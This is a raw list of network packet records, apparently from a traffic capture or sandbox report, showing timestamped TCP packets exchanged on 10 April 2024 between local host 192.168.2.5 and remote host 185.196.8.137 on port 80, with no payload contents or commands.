Apr 10, 2024 10:24:11.962693930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962693930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962693930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962693930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962693930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962798119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962798119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962798119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962798119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962798119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962928057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962928057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962928057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962928057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964246988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964246988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964246988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964246988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964273930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964401007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.964421988 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.964432955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964432955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964670897 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.964788914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964890957 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.964907885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964907885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964907885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964907885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.964916945 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.964984894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.965003014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965003014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965003014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965045929 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.965085030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965085030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965085030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965123892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965159893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965173960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965187073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.965244055 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.965266943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965266943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965266943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965300083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.965383053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965383053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965383053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965383053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965500116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965500116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965500116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965500116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965648890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965648890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965648890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965650082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965650082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965795040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965795040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965795040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965795040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965795040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965996027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965996027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965996027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965996027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.965996027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966008902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966043949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966197968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966197968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966197968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966197968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966197968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966308117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966308117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966625929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966625929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966625929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966680050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966762066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.966762066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.967139006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.967139006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.972357988 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.972428083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.972491980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.972609043 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.973026037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.973274946 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.973515987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.973556042 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.973570108 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.973673105 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974163055 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974236012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974250078 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974384069 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974396944 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974581957 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974596977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974777937 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974792957 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974900961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974916935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.974962950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.975064039 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.975079060 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.975092888 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.975214958 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.975274086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.975492001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.975507021 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.975521088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.975620031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.975752115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.975929976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.976046085 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.976104975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.976174116 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.976536036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.976587057 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.976706028 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.976799965 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.976860046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.976874113 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.976886988 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.976957083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977030993 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977072001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977087021 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977237940 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977466106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977479935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977555990 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977570057 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977757931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977845907 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977951050 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.977991104 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.978033066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.978087902 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.978247881 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.978360891 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.978497028 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.978634119 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.978928089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.978990078 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979080915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979175091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979190111 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979203939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979302883 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979439974 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979494095 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979540110 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979554892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979661942 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979774952 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979895115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.979907990 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.980005980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.980037928 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.980238914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.980278015 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.980465889 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.980480909 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.980628014 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.980720997 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.980803967 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.980951071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.980964899 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.981519938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.981519938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.990947008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991038084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991038084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991070032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991070032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991070032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991120100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991120100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991242886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991242886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991242886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991322041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.991322041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.009154081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.009176970 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.009258032 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.009604931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.014059067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014362097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014362097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014362097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014362097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014416933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014416933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014416933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014416933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014416933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014416933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014416933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.014431000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020786047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020786047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020786047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020786047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020888090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020888090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020888090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020888090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020888090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020909071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020936966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020936966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.020973921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021009922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021009922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021044970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021044970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021155119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021155119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021155119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021155119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021155119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021182060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021212101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021212101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021270990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021270990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021270990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021358013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021358013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021358013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021358013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021469116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021469116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021469116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021469116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021469116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021564960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021564960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021564960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021564960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021564960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021639109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021639109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021639109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021639109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021683931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021683931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021795034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021795034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021795034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021795034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021795034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021852970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021852970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021852970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021888018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021888018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021905899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.021924973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022037983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022037983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022037983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022037983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022037983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022063017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022080898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022138119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022138119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022138119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022228003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022228003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022228003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022228003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022228003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022306919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022306919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022306919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022366047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022366047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022366047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022366047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022471905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022471905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022471905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022471905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022471905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022538900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022538900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022538900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022578001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022578001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022600889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022780895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022780895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.022780895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.025583982 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.025599957 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.025613070 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.025626898 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.025794983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.026081085 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.039184093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.039254904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.039282084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.039381981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.039381981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.039411068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.039494038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.039494038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.039561033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.039561033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.039616108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050841093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050841093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050841093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050869942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050869942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050869942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050869942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050869942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050869942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050882101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050946951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.050947905 CEST	49718	80	192.168.2.5	185.196.8.137
